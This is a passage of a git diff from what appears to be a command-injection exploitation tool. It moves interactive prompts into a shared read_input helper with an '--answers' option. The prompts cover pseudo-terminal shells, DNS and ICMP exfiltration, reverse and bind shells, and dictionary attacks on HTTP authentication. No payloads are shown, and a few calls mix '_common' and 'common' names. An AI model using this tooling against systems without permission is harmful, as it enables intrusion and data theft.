shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: @@ -655,7 +630,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) if not shell or shell == "": - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 32f106e857..1a1a6fb5d7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -27,6 +27,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input @@ -283,13 +284,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True while True: - if not menu.options.batch: - question_msg = "Do you want to use URL '" + output - question_msg += "' as command execution output? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "Do you want to use URL '" + output + message += "' as command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index d0b5244353..e5948f2d9d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -28,6 +28,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib @@ -237,13 +238,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -464,13 +460,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) @@ -495,13 +486,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break @@ -542,16 +528,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -564,7 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/main.py b/src/core/main.py index f0709d3eac..6e62ff69a6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -578,6 +578,9 @@ def main(filename, url): if menu.options.method: settings.HTTP_METHOD = menu.options.method + if menu.options.answers: + settings.ANSWERS = menu.options.answers + # Check if defined "--proxy" option. if menu.options.proxy: for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): @@ -638,14 +641,14 @@ def main(filename, url): if menu.options.wizard: if not menu.options.url: while True: - question_msg = "Please enter full target URL (-u) > " - menu.options.url = _input(settings.print_question_msg(question_msg)) + message = "Please enter full target URL (-u) > " + menu.options.url = common.read_input(message, default=None, check_batch=True) if len(menu.options.url) == 0: pass else: break - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) + message = "Please enter POST data (--data) [Enter for none] > " + menu.options.data = common.read_input(message, default=None, check_batch=True) if len(menu.options.data) == 0: menu.options.data = False @@ -833,14 +836,9 @@ def main(filename, url): for url in clean_output_href: if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: settings.INIT_TEST = True if url == clean_output_href[-1]: diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index d1266781e9..79ef2db2af 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -105,13 +105,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -121,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 0f7c26a942..9676b414b0 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -139,14 +139,9 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): go_back_again = False while True: if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell= "Y" + break + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -156,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index cb9a1918f6..3a36712620 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -8,6 +8,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import http_client as _http_client +from src.utils import common from src.utils import menu from src.utils import logs from src.utils import settings @@ -708,14 +709,8 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input(settings.print_question_msg(question_msg)) - - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break @@ -733,13 +728,8 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again= "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break @@ -770,16 +760,9 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell= "" - if len(gotshell) == 0: - gotshell= "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -788,7 +771,7 @@ def shellshock_handler(url, http_request_method, filename): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index b4dc01446d..21af364768 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -23,6 +23,7 @@ from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -79,13 +80,8 @@ def authentication_process(): def define_wordlists(): while True: - if not menu.options.batch: - question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE @@ -93,10 +89,10 @@ def define_wordlists(): print(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: - question_msg = "Please enter usernames wordlist > " - username_txt_file = _input(settings.print_question_msg(question_msg)) - question_msg = "Please enter passwords wordlist > " - passwords_txt_file = _input(settings.print_question_msg(question_msg)) + message = "Please enter usernames wordlist > " + username_txt_file = common.read_input(message, default=None, check_batch=True) + message = "Please enter passwords wordlist > " + passwords_txt_file = common.read_input(message, default=None, check_batch=True) break elif do_update in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5dbf50cb21..dd3168a840 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -23,6 +23,7 @@ from base64 import encodestring as encodebytes from src.utils import menu from src.utils import settings +from src.utils import common from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client from src.core.injections.controller import checks @@ -65,17 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): return response.geturl() else: while True: - if not menu.options.batch and not settings.FOLLOW_REDIRECT: + if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - question_msg += "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + message += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - if menu.options.batch and not settings.CRAWLING: + if not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) return checks.check_http_s(response.geturl()) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 24399f0288..b47ce27261 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -24,6 +24,7 @@ from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 +from src.utils import common from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers @@ -126,13 +127,8 @@ def estimate_response_time(url, timesec): warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: @@ -161,13 +157,8 @@ def estimate_response_time(url, timesec): warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: @@ -1207,8 +1198,7 @@ def check_target_os(server_banner): print(settings.print_warning_msg(warn_msg)) if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, - # by default is a Linux/Unix operating system. + # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: @@ -1225,9 +1215,9 @@ def check_target_os(server_banner): print(settings.print_info_msg(info_msg)) else: while True: - question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix-like/(q)uit] > " - got_os = _input(settings.print_question_msg(question_msg)) + message = "Do you recognise the server's operating system? " + message += "[(W)indows/(U)nix-like/(q)uit] > " + got_os = common.read_input(message, default="", check_batch=True) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 30b635ecc7..a7794af825 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -20,6 +20,7 @@ import base64 import subprocess from src.utils import menu +from src.utils import common from src.utils import settings from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -79,20 +80,15 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " + settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -105,20 +101,15 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += "C:\\Python27\\python.exe') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -131,20 +122,15 @@ def set_python_working_dir(): """ def set_python_interpreter(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom interpreter for Python (e.g. '" + message += "python27') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: @@ -227,13 +213,8 @@ def netcat_version(separator): continue while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 1384ce8579..208407b0a3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -21,6 +21,7 @@ import random import string import subprocess +from src.utils import common from src.utils import menu from src.utils import update from src.utils import settings @@ -94,20 +95,15 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for PHP (e.g. '" - question_msg += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working directory for PHP (e.g. '" + message += settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -120,20 +116,15 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a full path directory for Python interpreter (e.g. '" + message += "C:\\Python27\\python.exe') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -146,20 +137,15 @@ def set_python_working_dir(): """ def set_python_interpreter(): while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom working interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working interpreter for Python (e.g. '" + message += "python27') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: @@ -263,13 +249,8 @@ def netcat_version(separator): continue while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : diff --git a/src/utils/common.py b/src/utils/common.py index da159bd01a..78a70cf5ad 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,7 +27,58 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib - +""" +Reads input from terminal +""" +def read_input(message, default=None, check_batch=True): + + def is_empty(): + value = _input(settings.print_message(message)) + if len(value) == 0: + return default + else: + return value + + value = None + if "\n" in message: + message += ("\n" if message.count("\n") > 1 else "") + elif len(message) == 0: + return _input() + + if settings.ANSWERS: + if not any(_ in settings.ANSWERS for _ in ",="): + return is_empty() + else: + for item in settings.ANSWERS.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + value = answer + print(settings.print_message(message + value)) + return value + elif answer is None and value: + return is_empty() + + if value: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the given answer." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + value)) + return value + + elif value is None: + if check_batch and menu.options.batch: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the default behavior, running in batch mode." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + default)) + return default + else: + return is_empty() + +""" +Extract regex result +""" def extract_regex_result(regex, content): result = None if regex and content and "?P" in regex: @@ -87,15 +138,10 @@ def create_github_issue(err_msg, exc_msg): while True: try: - if not menu.options.batch: - question_msg = "Do you want to automatically create a new (anonymized) issue " - question_msg += "with the unhandled exception information at " - question_msg += "the official Github repository? [y/N] " - choise = _input(settings.print_question_msg(question_msg)) - else: - choise = "" - if len(choise) == 0: - choise = "n" + message = "Do you want to automatically create a new (anonymized) issue " + message += "with the unhandled exception information at " + message += "the official Github repository? [y/N] " + choise = common.read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 470d8e704d..d657097332 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -18,7 +18,7 @@ import tempfile from src.utils import menu from src.utils import settings -from src.utils.common import extract_regex_result +from src.utils import common from src.core.injections.controller import checks from src.core.requests import headers from socket import error as SocketError @@ -45,13 +45,8 @@ def init_global_vars(): """ def set_crawling_depth(): while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" + message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: @@ -64,12 +59,9 @@ def set_crawling_depth(): # Change the crawling depth level. if message in settings.CHOICE_YES: while True: - question_msg = "Please enter the crawling depth level: > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - else: - menu.options.crawldepth = message + message = "Please enter the crawling depth level: > " + message = common.read_input(message, default="1", check_batch=True) + menu.options.crawldepth = message return @@ -79,13 +71,8 @@ def set_crawling_depth(): def normalize_results(output_href): results = [] while True: - if not menu.options.batch: - question_msg = "Do you want to normalize crawling results? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + message = "Do you want to normalize crawling results? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: seen = set() for target in output_href: @@ -112,14 +99,9 @@ def normalize_results(output_href): """ def store_crawling(output_href): while True: - if not menu.options.batch: - question_msg = "Do you want to store crawling results to a temporary file " - question_msg += "(for eventual further processing with other tools)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=".txt")[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." @@ -158,13 +140,8 @@ def sitemap(url): while True: warn_msg = "A sitemap recursion detected (" + url + ")." print(settings.print_warning_msg(warn_msg)) - if not menu.options.batch: - question_msg = "Do you want to follow? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" + message = "Do you want to follow? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: sitemap(url) break @@ -234,13 